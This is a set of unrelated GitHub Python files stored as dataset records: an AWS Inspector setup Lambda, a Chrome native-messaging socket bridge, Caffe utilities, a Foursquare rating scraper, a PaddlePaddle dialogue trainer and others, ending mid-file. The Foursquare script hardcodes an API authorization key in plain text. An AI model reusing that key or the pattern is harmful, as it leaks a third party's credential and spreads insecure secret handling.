all_accounts.append(management_account)\n all_accounts.append(delegated_admin_account)\n inspector.check_scan_component_enablement_for_accounts(\n all_accounts, delegated_admin_account, disabled_components, configuration_role_name, region\n )\n\n\n@helper.create\n@helper.update\n@helper.delete\ndef process_event_cloudformation(event: CloudFormationCustomResourceEvent, context: Context) -> str: # noqa U100\n \"\"\"Process Event from AWS CloudFormation.\n\n Args:\n event: event data\n context: runtime information\n\n Returns:\n AWS CloudFormation physical resource id\n \"\"\"\n event_info = {\"Event\": event}\n LOGGER.info(event_info)\n\n params = get_validated_parameters({\"RequestType\": event[\"RequestType\"]})\n excluded_accounts: list = [params[\"DELEGATED_ADMIN_ACCOUNT_ID\"]]\n accounts = common.get_active_organization_accounts(excluded_accounts)\n regions = common.get_enabled_regions(params[\"ENABLED_REGIONS\"], params[\"CONTROL_TOWER_REGIONS_ONLY\"] == \"true\")\n\n if params[\"action\"] in [\"Add\", \"Update\"]:\n LOGGER.info(\"calling process_add_update_event\")\n process_add_update_event(params, regions, accounts)\n else:\n LOGGER.info(\"...Disable Inspector from (process_event_cloudformation)\")\n disabled_inspector_service(params, regions)\n\n return f\"sra-inspector-org-{params['DELEGATED_ADMIN_ACCOUNT_ID']}\"\n\n\ndef create_sns_messages(accounts: list, regions: list, sns_topic_arn: str, action: str) -> None:\n \"\"\"Create SNS Message.\n\n Args:\n accounts: Account List\n regions: list of AWS regions\n sns_topic_arn: SNS Topic ARN\n action: Action\n \"\"\"\n sns_messages = []\n for region in regions:\n sns_message = {\"Accounts\": accounts, \"Region\": region, \"Action\": action}\n sns_messages.append(\n {\n \"Id\": region,\n \"Message\": json.dumps(sns_message),\n \"Subject\": \"Inspector Configuration\",\n }\n )\n\n process_sns_message_batches(sns_messages, sns_topic_arn)\n\n\ndef publish_sns_message_batch(message_batch: list, sns_topic_arn: str) -> None:\n \"\"\"Publish SNS Message Batches.\n\n Args:\n message_batch: Batch of SNS messages\n sns_topic_arn: SNS Topic ARN\n \"\"\"\n LOGGER.info(\"Publishing SNS Message Batch\")\n LOGGER.info({\"SNSMessageBatch\": message_batch})\n response: PublishBatchResponseTypeDef = SNS_CLIENT.publish_batch(TopicArn=sns_topic_arn, PublishBatchRequestEntries=message_batch)\n api_call_details = {\"API_Call\": \"sns:PublishBatch\", \"API_Response\": response}\n LOGGER.info(api_call_details)\n\n\ndef process_sns_message_batches(sns_messages: list, sns_topic_arn: str) -> None:\n \"\"\"Process SNS Message Batches for Publishing.\n\n Args:\n sns_messages: SNS messages to be batched.\n sns_topic_arn: SNS Topic ARN\n \"\"\"\n message_batches = []\n for i in range(\n SNS_PUBLISH_BATCH_MAX,\n len(sns_messages) + SNS_PUBLISH_BATCH_MAX,\n SNS_PUBLISH_BATCH_MAX,\n ):\n message_batches.append(sns_messages[i - SNS_PUBLISH_BATCH_MAX : i])\n\n for batch in message_batches:\n publish_sns_message_batch(batch, sns_topic_arn)\n\n\ndef process_event_sns(event: dict) -> None:\n \"\"\"Process SNS event to complete the setup process.\n\n Args:\n event: event data\n \"\"\"\n params = get_validated_parameters({})\n scan_components = params[\"SCAN_COMPONENTS\"].split(\",\")\n for record in event[\"Records\"]:\n record[\"Sns\"][\"Message\"] = json.loads(record[\"Sns\"][\"Message\"])\n LOGGER.info({\"SNS Record\": record})\n message = record[\"Sns\"][\"Message\"]\n if message[\"Action\"] == \"configure\":\n LOGGER.info(\"Continuing process to enable Inspector (sns event)\")\n\n setup_inspector_in_region(\n message[\"Region\"],\n message[\"Accounts\"],\n params[\"DELEGATED_ADMIN_ACCOUNT_ID\"],\n params[\"MANAGEMENT_ACCOUNT_ID\"],\n params[\"CONFIGURATION_ROLE_NAME\"],\n scan_components,\n params[\"ECR_SCAN_DURATION\"],\n )\n\n\ndef orchestrator(event: Dict[str, Any], context: Any) -> None:\n \"\"\"Orchestration.\n\n Args:\n event: event data\n context: runtime information\n \"\"\"\n if event.get(\"RequestType\"):\n LOGGER.info(\"...calling helper...\")\n helper(event, context)\n elif event.get(\"Records\") and event[\"Records\"][0][\"EventSource\"] == \"aws:sns\":\n LOGGER.info(\"...aws:sns record...\")\n process_event_sns(event)\n else:\n LOGGER.info(\"...else...just calling process_event...\")\n process_event(event)\n\n\ndef lambda_handler(event: Dict[str, Any], context: Any) -> None:\n \"\"\"Lambda Handler.\n\n Args:\n event: event data\n context: runtime information\n\n Raises:\n ValueError: Unexpected error executing Lambda function\n \"\"\"\n LOGGER.info(\"....Lambda Handler Started....\")\n boto3_version = boto3.__version__\n LOGGER.info(f\"boto3 version: {boto3_version}\")\n event_info = {\"Event\": event}\n LOGGER.info(event_info)\n try:\n orchestrator(event, context)\n except Exception:\n LOGGER.exception(UNEXPECTED)\n raise ValueError(f\"Unexpected error executing Lambda function. Review CloudWatch logs ({context.log_group_name}) for details.\") from None\n","repo_name":"aws-samples/aws-security-reference-architecture-examples","sub_path":"aws_sra_examples/solutions/inspector/inspector_org/lambda/src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":21736,"program_lang":"python","lang":"en","doc_type":"code","stars":834,"dataset":"github-code","pt":"47"} +{"seq_id":"17040021437","text":"#!/usr/bin/python3\n\nimport json\nimport sys\nimport struct\nimport os\nimport socket as sck\n\ndef get_message():\n \"\"\"\n stdin message.\n \"\"\"\n legnth = sys.stdin.buffer.read(4)\n if not length:\n sys.exit(0)\n message_len = struct.unpack('=I', length)[0]\n message = sys.stdin.buffer.read(message_len).decode(\"utf-8\")\n return json.loads(message)\n\ndef encode_message(content):\n \"\"\"\n Encode the message, content.\n \"\"\"\n encoded_content = json.dumps(content).encode(\"utf-8\")\n encoded_len = struct.pack('=I', len(encoded_content))\n return {'length': encoded_len, 'content': struct.pack(str(len(encoded_content))+\"s\",encoded_content)}\n\ndef send_message(encoded_message):\n \"\"\"\n stdout message\n \"\"\"\n sys.stdout.buffer.write(encoded_message['length'])\n sys.stdout.buffer.write(encoded_message['content'])\n sys.stdout.buffer.flush()\n\nmessage = get_message()\n\n# Setting up socket conn to main program\ns = sck.socket(family=sck.AF_INET, type=sck.SOCK_STREAM)\ns.connect(('localhost', 50000))\n\nwhile True:\n\tretrn = None\n\tdata = s.recv(1024)\n\t# If main program (server) sends 'quit',\n\t# \tdisconnect client\n\tif \"quit\" in data.decode():\n\t\ts.close()\n\t\tbreak\n\tsend_message(encode_message(data.decode()))\n\tretrn = get_message()\n\ts.sendall(retrn.encode())\n\n","repo_name":"JCaridad108/Mac_SystemService","sub_path":"BrowserExtension/Chrome_NativeMessaging.py","file_name":"Chrome_NativeMessaging.py","file_ext":"py","file_size_in_byte":1291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"11546936526","text":"import numpy as np\n\n\nclass SimpleTransformer:\n\n \"\"\"\n SimpleTransformer is a simple class for preprocessing and deprocessing\n images for caffe.\n \"\"\"\n\n def __init__(self, mean=[128, 128, 128]):\n self.mean = np.array(mean, dtype=np.float32)\n self.scale = 1.0\n\n def set_mean(self, mean):\n \"\"\"\n Set the mean to subtract for centering the data.\n \"\"\"\n self.mean = mean\n\n def set_scale(self, scale):\n \"\"\"\n Set the data scaling.\n \"\"\"\n self.scale = scale\n\n def preprocess(self, im):\n \"\"\"\n preprocess() emulate the pre-processing occurring in the vgg16 caffe\n prototxt.\n \"\"\"\n\n im = np.float32(im)\n im = im[:, :, ::-1] # change to BGR\n im -= self.mean\n im *= self.scale\n im = im.transpose((2, 0, 1))\n\n return im\n\n def deprocess(self, im):\n \"\"\"\n inverse of preprocess()\n \"\"\"\n im = im.transpose(1, 2, 0)\n im /= self.scale\n im += self.mean\n im = im[:, :, ::-1] # change to RGB\n\n return np.uint8(im)\n\n\nclass CaffeSolver:\n\n \"\"\"\n Caffesolver is a class for creating a solver.prototxt file. It sets default\n values and can export a solver parameter file.\n Note that all parameters are stored as strings. Strings variables are\n stored as strings in strings.\n \"\"\"\n\n def __init__(self, testnet_prototxt_path=\"testnet.prototxt\",\n trainnet_prototxt_path=\"trainnet.prototxt\", debug=False):\n\n self.sp = {}\n\n # critical:\n self.sp['base_lr'] = '0.001'\n self.sp['momentum'] = '0.9'\n\n # speed:\n self.sp['test_iter'] = '100'\n self.sp['test_interval'] = '250'\n\n # looks:\n self.sp['display'] = '25'\n self.sp['snapshot'] = '2500'\n self.sp['snapshot_prefix'] = '\"snapshot\"' # string within a string!\n\n # learning rate policy\n self.sp['lr_policy'] = '\"fixed\"'\n\n # important, but rare:\n self.sp['gamma'] = '0.1'\n self.sp['weight_decay'] = '0.0005'\n self.sp['train_net'] = '\"' + trainnet_prototxt_path + '\"'\n self.sp['test_net'] = '\"' + testnet_prototxt_path + '\"'\n\n # pretty much never change these.\n self.sp['max_iter'] = '100000'\n self.sp['test_initialization'] = 'false'\n self.sp['average_loss'] = '25' # this has to do with the display.\n self.sp['iter_size'] = '1' # this is for accumulating gradients\n\n if (debug):\n self.sp['max_iter'] = '12'\n self.sp['test_iter'] = '1'\n self.sp['test_interval'] = '4'\n self.sp['display'] = '1'\n\n def add_from_file(self, filepath):\n \"\"\"\n Reads a caffe solver prototxt file and updates the Caffesolver\n instance parameters.\n \"\"\"\n with open(filepath, 'r') as f:\n for line in f:\n if line[0] == '#':\n continue\n splitLine = line.split(':')\n self.sp[splitLine[0].strip()] = splitLine[1].strip()\n\n def write(self, filepath):\n \"\"\"\n Export solver parameters to INPUT \"filepath\". Sorted alphabetically.\n \"\"\"\n f = open(filepath, 'w')\n for key, value in sorted(self.sp.items()):\n if not(type(value) is str):\n raise TypeError('All solver parameters must be strings')\n f.write('%s: %s\\n' % (key, value))\n","repo_name":"BVLC/caffe","sub_path":"examples/pycaffe/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":3457,"program_lang":"python","lang":"en","doc_type":"code","stars":33652,"dataset":"github-code","pt":"47"} +{"seq_id":"29370427211","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\nimport sqlite3\r\nimport os\r\nimport json\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport seaborn as sns\r\nimport pandas as pd\r\n\r\npath = os.path.dirname(os.path.abspath(__file__))\r\nconn = sqlite3.connect(path+'/'+'206Project.db')\r\ncur = conn.cursor()\r\n\r\ndef APIsetup():\r\n\r\n URL = \"https://api.foursquare.com/v3/places/search?ll=41.8781%2C-87.6298&query=restaurant&categories=13000&fields=rating,name,stats&limit=50&radius=7000\"\r\n\r\n headers = {\r\n \"Accept\": \"application/json\",\r\n \"Authorization\": \"fsq3XX8Bpj7/mc5IfDMBIMy3X8NXQszNg8FkBdFPlg3cHaw=\"\r\n }\r\n\r\n response = requests.get(url = URL, headers=headers)\r\n first_responses = (json.loads(response.text))\r\n\r\n\r\n URL2 = \"https://api.foursquare.com/v3/places/search?ll=41.8781%2C-87.6298&query=restaurant&categories=13000&fields=rating,name,stats&limit=50&radius=60000\"\r\n\r\n headers2 = {\r\n \"Accept\": \"application/json\",\r\n \"Authorization\": \"fsq3XX8Bpj7/mc5IfDMBIMy3X8NXQszNg8FkBdFPlg3cHaw=\"\r\n }\r\n\r\n response2 = requests.get(url = URL2, headers=headers2)\r\n first_responses2 = (json.loads(response2.text))\r\n\r\n\r\n resp_headers = response.headers\r\n link = resp_headers['Link'][1:76]\r\n link = link+\"41.8781%2C-87.6298&limit=50&fields=rating,name,stats&categories=13000&radius=20000&query=restaurant\"\r\n second_response = requests.get(url = link, headers = headers)\r\n second_responses = json.loads(second_response.text)\r\n first_responses = first_responses['results']\r\n second_responses = second_responses['results']\r\n first_responses2 = first_responses2['results']\r\n\r\n restaurants = []\r\n for rest in first_responses:\r\n restaurants.append(rest)\r\n \r\n for rest in second_responses:\r\n restaurants.append(rest)\r\n\r\n for rest in first_responses2:\r\n restaurants.append(rest)\r\n\r\n name_lst = []\r\n rating_lst = []\r\n review_num = []\r\n\r\n\r\n\r\n cur.execute('CREATE TABLE IF NOT EXISTS Ratings (name TEXT PRIMARY KEY, rating FLOAT, total_ratings INTEGER)')\r\n\r\n id = 0\r\n idList = []\r\n for restaurant in restaurants:\r\n name_lst.append(restaurant['name'])\r\n rating = restaurant['rating']\r\n rating = rating/2\r\n rating_lst.append(rating)\r\n idList.append(id)\r\n review_num.append(restaurant['stats']['total_ratings'])\r\n id += 1\r\n\r\n\r\n count2 = 0\r\n for i in range(len(idList)):\r\n if count2 == 25:\r\n break\r\n cur.execute(\"INSERT OR IGNORE INTO Ratings (name,rating,total_ratings) VALUES (?,?,?)\",(name_lst[i], rating_lst[i], review_num[i]))\r\n if cur.rowcount == 1:\r\n count2 += 1\r\n print(name_lst[i])\r\n \r\n \r\n conn.commit()\r\n conn.close()\r\n return(rating_lst)\r\n\r\ndef Histogram():\r\n data = {'Ratings': APIsetup()}\r\n df = pd.DataFrame(data)\r\n plot = sns.histplot(data = df)\r\n plot.set(xlabel='Ratings', ylabel='Frequency', title = 'Restaurant Count For Each Rating')\r\n plt.show()\r\n\r\n\r\n \r\n\r\ndef main():\r\n APIsetup()\r\n #Histogram()\r\n \r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"ofishel21/SI206-Final-Project","sub_path":"Foursquare_API.py","file_name":"Foursquare_API.py","file_ext":"py","file_size_in_byte":3160,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"25132991264","text":"import re\n\n\nTRANSITION_REGEX = r\"\\\"(\\d+)\\\" -> \\\"(\\d+)\\\" \\[.*label = \\\"(.+)\\\".*\\];\"\nCONFIG_TEMPALTE = '''TRANSITIONS = [\n{}\n]'''\nINDENT = ' '*4\nGRAPHVIZ_FILE = \"./states.gv\"\nOUTPUT_FILE = './transitions.py'\n\ndef format_statement(statement):\n return statement.replace(\"\\\\n\", \"\").replace(\"*\", \" and \").replace(\"1-p\", \"not p\")\\\n .replace(\"1-π₁\", \"not pi1\").replace(\"1-π₂\", \"not pi2\")\\\n .replace(\"π₁\", \"pi1\").replace(\"π₂\", \"pi2\")\n\n\ndef main():\n fin = open(GRAPHVIZ_FILE, \"r\", encoding='UTF-8')\n\n matches = re.finditer(TRANSITION_REGEX, \"\".join(fin.readlines()))\n\n all_states = {}\n\n entries = []\n for _, match in enumerate(matches):\n groups = match.groups()\n start_state = groups[0]\n end_state = groups[1]\n for statement in groups[2].split(\"+\"):\n if format_statement(statement):\n all_states[start_state] = 0\n entries.append(INDENT + \"['\" + start_state + \"', '\" + end_state + \"', lambda p, pi1, pi2: \" + format_statement(statement) + \"],\")\n with open(OUTPUT_FILE, 'w') as fout:\n fout.write(CONFIG_TEMPALTE.format('\\n'.join(entries)))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"ishimko/discrete-queuing-system","sub_path":"graphviz_converter.py","file_name":"graphviz_converter.py","file_ext":"py","file_size_in_byte":1198,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"5365052760","text":"#My Solution\n#0이 나오면 list_x, list_y에 0이 존재했던 위치를 넣어주고 나중에 list에서 하나씩 꺼내서 0으로 초기화시켜주는 것\nclass Solution(object):\n def setZeroes(self, matrix):\n r = len(matrix)\n c = len(matrix[0])\n list_x = []\n list_y = []\n for i in range(r):\n for j in range(c):\n if matrix[i][j] == 0:\n list_x.append(i)\n list_y.append(j)\n for i in range(len(list_x)):\n for a in range(c):\n matrix[list_x[i]][a] = 0\n for b in range(r):\n matrix[b][list_y[i]] = 0\n\n \n","repo_name":"julia-ing/VT-Algorithm-Study","sub_path":"fairyroad/LeetCode/73_set_matrix_zeroes_Matrix.py","file_name":"73_set_matrix_zeroes_Matrix.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"36589658156","text":"import cv2\nimport numpy as np\n\ncap = cv2.VideoCapture('../data/traffic.mp4')\nret, frame = cap.read()\n\nx, y, w, h = 300, 200, 100, 50\ntrack_window = (x, y, w, h)\n\nroi = frame[y:y+h, x:x+w]\nhsv_roi = cv2.cvtColor(roi, cv2.COLOR_BGR2HSV)\nmask = cv2.inRange(hsv_roi, np.array((0., 60., 32.)), np.array((180., 255., 255.)))\nroi_hist = cv2.calcHist([hsv_roi], [0], mask, [180], [0, 180])\ncv2.normalize(roi_hist, roi_hist, 0, 255, cv2.NORM_MINMAX)\n\nterm_crit = (cv2.TERM_CRITERIA_EPS | cv2.TERM_CRITERIA_COUNT, 10, 1)\n\nwhile True:\n _, frame = cap.read()\n hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n dst = cv2.calcBackProject([hsv], [0], roi_hist, [0, 180], 1)\n _, track_window = cv2.meanShift(dst, track_window, term_crit)\n x, y, w, h = track_window\n img2 = cv2.rectangle(frame, (x, y), (x+w, y+h), 255, 2)\n cv2.imshow('img2', img2)\n k = cv2.waitKey(30) & 0xff\n if k == 27:\n break\n","repo_name":"janFrancoo/OpenCV","sub_path":"object_tracking_meanshift.py","file_name":"object_tracking_meanshift.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"30086938302","text":"import io\nimport os\nimport sys\nimport six\nimport time\nimport numpy as np\n\nimport paddle\nimport paddle.fluid as fluid\n\nimport ade.reader as reader\nfrom ade_net import create_net, set_word_embedding\n\nfrom ade.utils.configure import PDConfig\nfrom ade.utils.input_field import InputField\nfrom ade.utils.model_check import check_cuda\nimport ade.utils.save_load_io as save_load_io\n\ntry: \n import cPickle as pickle #python 2\nexcept ImportError as e:\n import pickle #python 3\n\n\ndef do_train(args):\n \"\"\"train function\"\"\"\n\n train_prog = fluid.default_main_program()\n startup_prog = fluid.default_startup_program()\n\n with fluid.program_guard(train_prog, startup_prog):\n train_prog.random_seed = args.random_seed\n startup_prog.random_seed = args.random_seed\n\n with fluid.unique_name.guard(): \n context_wordseq = fluid.data(\n name='context_wordseq', shape=[-1, 1], dtype='int64', lod_level=1)\n response_wordseq = fluid.data(\n name='response_wordseq', shape=[-1, 1], dtype='int64', lod_level=1)\n labels = fluid.data(\n name='labels', shape=[-1, 1], dtype='int64')\n\n input_inst = [context_wordseq, response_wordseq, labels]\n input_field = InputField(input_inst)\n data_reader = fluid.io.PyReader(feed_list=input_inst, \n capacity=4, iterable=False)\n\n loss = create_net(\n is_training=True,\n model_input=input_field, \n args=args\n )\n loss.persistable = True\n # gradient clipping\n fluid.clip.set_gradient_clip(clip=fluid.clip.GradientClipByValue(\n max=1.0, min=-1.0))\n optimizer = fluid.optimizer.Adam(learning_rate=args.learning_rate)\n optimizer.minimize(loss)\n\n if args.use_cuda:\n dev_count = fluid.core.get_cuda_device_count()\n place = fluid.CUDAPlace(int(os.getenv('FLAGS_selected_gpus', '0')))\n else: \n dev_count = int(os.environ.get('CPU_NUM', 1))\n place = fluid.CPUPlace()\n\n processor = reader.DataProcessor(\n data_path=args.training_file,\n max_seq_length=args.max_seq_len, \n batch_size=args.batch_size)\n\n batch_generator = processor.data_generator(\n place=place,\n phase=\"train\",\n shuffle=True, \n sample_pro=args.sample_pro)\n\n num_train_examples = processor.get_num_examples(phase='train')\n max_train_steps = args.epoch * num_train_examples // dev_count // args.batch_size\n\n print(\"Num train examples: %d\" % num_train_examples)\n print(\"Max train steps: %d\" % max_train_steps)\n\n data_reader.decorate_batch_generator(batch_generator)\n\n exe = fluid.Executor(place)\n exe.run(startup_prog)\n\n assert (args.init_from_checkpoint == \"\") or (\n args.init_from_pretrain_model == \"\")\n\n #init from some checkpoint, to resume the previous training\n if args.init_from_checkpoint: \n save_load_io.init_from_checkpoint(args, exe, train_prog)\n #init from some pretrain models, to better solve the current task\n if args.init_from_pretrain_model: \n save_load_io.init_from_pretrain_model(args, exe, train_prog)\n\n if args.word_emb_init:\n print(\"start loading word embedding init ...\")\n if six.PY2:\n word_emb = np.array(pickle.load(io.open(args.word_emb_init, 'rb'))).astype('float32')\n else:\n word_emb = np.array(pickle.load(io.open(args.word_emb_init, 'rb'), encoding=\"bytes\")).astype('float32')\n set_word_embedding(word_emb, place)\n print(\"finish init word embedding ...\")\n\n build_strategy = fluid.compiler.BuildStrategy()\n build_strategy.enable_inplace = True\n\n compiled_train_prog = fluid.CompiledProgram(train_prog).with_data_parallel(\n loss_name=loss.name, build_strategy=build_strategy)\n\n steps = 0\n begin_time = time.time()\n time_begin = time.time()\n\n for epoch_step in range(args.epoch): \n data_reader.start()\n sum_loss = 0.0\n ce_loss = 0.0\n while True:\n try: \n fetch_list = [loss.name]\n outputs = exe.run(compiled_train_prog, fetch_list=fetch_list)\n np_loss = outputs\n sum_loss += np.array(np_loss).mean()\n ce_loss = np.array(np_loss).mean()\n\n if steps % args.print_steps == 0: \n time_end = time.time()\n used_time = time_end - time_begin\n current_time = time.strftime('%Y-%m-%d %H:%M:%S',\n time.localtime(time.time()))\n print('%s epoch: %d, step: %s, avg loss %s, speed: %f steps/s' % (current_time, epoch_step, steps, sum_loss / args.print_steps, args.print_steps / used_time))\n sum_loss = 0.0\n time_begin = time.time()\n\n if steps % args.save_steps == 0: \n if args.save_checkpoint:\n save_load_io.save_checkpoint(args, exe, train_prog, \"step_\" + str(steps))\n if args.save_param: \n save_load_io.save_param(args, exe, train_prog, \"step_\" + str(steps))\n steps += 1\n except fluid.core.EOFException: \n data_reader.reset()\n break\n \n if args.save_checkpoint: \n save_load_io.save_checkpoint(args, exe, train_prog, \"step_final\")\n if args.save_param: \n save_load_io.save_param(args, exe, train_prog, \"step_final\")\n\n def get_cards(): \n num = 0\n cards = os.environ.get('CUDA_VISIBLE_DEVICES', '')\n if cards != '': \n num = len(cards.split(\",\"))\n return num\n\n if args.enable_ce: \n card_num = get_cards()\n pass_time_cost = time.time() - begin_time\n print(\"test_card_num\", card_num)\n print(\"kpis\\ttrain_duration_card%s\\t%s\" % (card_num, pass_time_cost))\n print(\"kpis\\ttrain_loss_card%s\\t%f\" % (card_num, ce_loss))\n \n\nif __name__ == '__main__':\n \n args = PDConfig(yaml_file=\"./data/config/ade.yaml\")\n args.build()\n args.Print()\n\n check_cuda(args.use_cuda)\n \n do_train(args)\n","repo_name":"baidu/Dialogue","sub_path":"ADE/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":6441,"program_lang":"python","lang":"en","doc_type":"code","stars":444,"dataset":"github-code","pt":"47"} +{"seq_id":"33162961452","text":"import logging\nimport os\nimport json\nimport numpy as np\nfrom collections import OrderedDict\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass InputExample(object):\n \"\"\"A single training/test example for token classification.\"\"\"\n\n def __init__(self, docid, tokens, extracts):\n \"\"\"Constructs a InputExample.\n\n Args:\n docid: Unique id for the example.\n tokens: list. The tokens of the sequence.\n extracts: of the format OrderedDict([('PerpInd', [[18, 18], [191, 191]]), ('PerpOrg', [[21, 29]]), ('Target', [[344, 347]]), ('Victim', []), ('Weapon', [[255, 255], [377, 377]])])\n \"\"\"\n self.docid = docid\n self.tokens = tokens\n self.extracts = extracts\n\n\nclass InputFeatures(object):\n \"\"\"A single set of features of data.\"\"\"\n\n def __init__(self, input_ids, input_mask, segment_ids, position_ids, label_ids, docid):\n self.input_ids = input_ids\n self.input_mask = input_mask\n self.segment_ids = segment_ids\n self.position_ids = position_ids\n self.label_ids = label_ids\n self.docid = docid\n\n\ndef find_sub_list(m_tokens, doctext_tokens):\n m_len = len(m_tokens)\n for idx in (i for i, t in enumerate(doctext_tokens) if t == m_tokens[0]):\n if doctext_tokens[idx: idx + m_len] == m_tokens:\n return idx, idx + m_len - 1\n return -1, -1\n\ndef not_sub_string(candidate_str, entitys):\n for entity in entitys:\n mention_string = entity[0]\n if candidate_str in mention_string:\n return False\n return True\n\ndef read_golds_from_test_file(data_dir, tokenizer):\n golds = OrderedDict()\n doctexts_tokens = OrderedDict()\n file_path = os.path.join(data_dir, \"test.json\")\n with open(file_path, encoding=\"utf-8\") as f:\n for line in f:\n line = json.loads(line)\n docid = int(line[\"docid\"].split(\"-\")[0][-1])*10000 + int(line[\"docid\"].split(\"-\")[-1]) # transform TST1-MUC3-0001 to int(0001)\n doctext, extracts_raw = line[\"doctext\"], line[\"extracts\"]\n\n extracts = OrderedDict()\n for role, entitys_raw in extracts_raw.items():\n extracts[role] = []\n for entity_raw in entitys_raw:\n entity = []\n for mention_offset_pair in entity_raw:\n entity.append(mention_offset_pair[0])\n if entity:\n extracts[role].append(entity)\n doctexts_tokens[docid] = tokenizer.tokenize(doctext)\n golds[docid] = extracts\n return doctexts_tokens, golds\n\ndef read_examples_from_file(data_dir, mode, tokenizer):\n file_path = os.path.join(data_dir, \"{}.json\".format(mode))\n examples = []\n with open(file_path, encoding=\"utf-8\") as f:\n for line in f:\n line = json.loads(line)\n if mode == \"train\":\n docid = int(line[\"docid\"].split(\"-\")[-1]) # transform DEV-MUC3-0001 to 1\n else:\n docid = int(line[\"docid\"].split(\"-\")[0][-1])*10000 + int(line[\"docid\"].split(\"-\")[-1]) # transform TST1-MUC3-0001 to 10001\n\n doctext, extracts_raw = line[\"doctext\"], line[\"extracts\"]\n doctext_tokens = tokenizer.tokenize(doctext)\n\n extracts = OrderedDict()\n for role, entitys in extracts_raw.items():\n extracts[role] = []\n for entity in entitys:\n first_mention_tokens = tokenizer.tokenize(entity[0][0])\n start, end = find_sub_list(first_mention_tokens, doctext_tokens)\n if start != -1 and end != -1:\n extracts[role].append([start, end])\n\n examples.append(InputExample(docid=docid, tokens=doctext_tokens, extracts=extracts))\n \n return examples\n\n\ndef convert_examples_to_features(\n examples,\n # label_list,\n max_seq_length_src,\n max_seq_length_tgt,\n tokenizer,\n cls_token_at_end=False,\n cls_token=\"[CLS]\",\n cls_token_segment_id=1,\n sep_token=\"[SEP]\",\n sep_token_extra=False,\n pad_on_left=False,\n pad_token=0,\n pad_token_segment_id=0,\n pad_token_label_id=-100,\n sequence_a_segment_id=0,\n mask_padding_with_zero=True,\n):\n \"\"\" Loads a data file into a list of `InputBatch`s\n `cls_token_at_end` define the location of the CLS token:\n - False (Default, BERT/XLM pattern): [CLS] + A + [SEP] + B + [SEP]\n - True (XLNet/GPT pattern): A + [SEP] + B + [SEP] + [CLS]\n `cls_token_segment_id` define the segment id associated to the CLS token (0 for BERT, 2 for XLNet)\n \"\"\" \n\n features = []\n max_num_entity_tgt = (max_seq_length_tgt - (1 + 5)) // 2 # excluding [CLS], [SEP] * 5\n\n for (ex_index, example) in enumerate(examples):\n if ex_index % 10000 == 0:\n logger.info(\"Writing example %d of %d\", ex_index, len(examples))\n\n docid, tokens, extracts = example.docid, example.tokens, example.extracts\n roles = sorted(extracts.keys())\n # trunkcating ``tokens'', special_tokens_count: account for [CLS] and [SEP]\n special_tokens_count = 2\n if len(tokens) > max_seq_length_src - special_tokens_count:\n tokens = tokens[: (max_seq_length_src - special_tokens_count)]\n\n src_tokens, tgt_tokens = [], []\n src_src_mask, src_tgt_mask, tgt_src_mask, tgt_tgt_mask = [], [], [], []\n src_segment_ids, tgt_segment_ids = [], []\n src_position_ids, tgt_position_ids = [], []\n label_ids = []\n role_to_src_token_offset = {}\n token_offset_to_src_token_offset = {}\n\n ######### src_tokens, src_mask, src_segment_ids, src_position_ids \n # [CLS]\n src_tokens.append(cls_token)\n\n # # roles\n # for role in roles:\n # role_tokens = tokenizer.tokenize(role)\n # src_tokens.append(role_tokens[0])\n # role_to_src_token_offset[role] = len(src_tokens) - 1\n # # [SEP]\n # src_tokens.append(sep_token)\n\n # input tokens\n for idx, token in enumerate(tokens):\n src_tokens.append(token)\n token_offset_to_src_token_offset[idx] = len(src_tokens) - 1\n # [SEP]\n src_tokens.append(sep_token)\n src_segment_ids = [sequence_a_segment_id] * len(src_tokens)\n src_position_ids = list(range(len(src_tokens)))\n\n # convert to ids and padding\n src_tokens_ids = tokenizer.convert_tokens_to_ids(src_tokens)\n src_mask = [1 if mask_padding_with_zero else 0] * len(src_tokens_ids)\n\n padding_length = max_seq_length_src - len(src_tokens)\n src_tokens_ids += [pad_token] * padding_length\n src_mask += [0 if mask_padding_with_zero else 1] * padding_length\n src_segment_ids += [pad_token_segment_id] * padding_length\n src_position_ids += [0] * padding_length\n\n ############ tgt_tokens, tgt_mask, tgt_segment_ids, tgt_position_ids, label_ids\n num_entity_span = 0\n # [CLS] (as start)\n tgt_tokens.append(cls_token)\n tgt_position_ids.append(0)\n # each roles' spans\n for role in roles:\n # role_tokens = tokenizer.tokenize(role)\n # tgt_tokens.append(role_tokens[0])\n for span in extracts[role]:\n if num_entity_span < max_num_entity_tgt and span[0] in range(len(tokens)) and span[1] in range(len(tokens)):\n num_entity_span += 1\n tgt_tokens.append(tokens[span[0]]) # span start token\n tgt_position_ids.append(token_offset_to_src_token_offset[span[0]])\n tgt_tokens.append(tokens[span[1]]) # span end token\n tgt_position_ids.append(token_offset_to_src_token_offset[span[1]])\n tgt_tokens.append(sep_token)\n tgt_position_ids.append(len(src_tokens) - 1) # to confirm\n tgt_segment_ids = [1 - sequence_a_segment_id] * len(tgt_tokens)\n label_ids = tgt_position_ids[1:]\n\n # convert to ids and padding\n tgt_tokens_ids = tokenizer.convert_tokens_to_ids(tgt_tokens)\n tgt_mask = [1 if mask_padding_with_zero else 0] * len(tgt_tokens_ids)\n\n padding_length = max_seq_length_tgt - len(tgt_tokens)\n tgt_tokens_ids += [pad_token] * padding_length\n tgt_mask += [0 if mask_padding_with_zero else 1] * padding_length\n tgt_segment_ids += [pad_token_segment_id] * padding_length \n tgt_position_ids += [0] * padding_length\n label_ids += [pad_token_label_id] * (padding_length + 1)\n\n # import ipdb; ipdb.set_trace()\n\n ### get 2-d mask and get final input_ids, segment_ids, 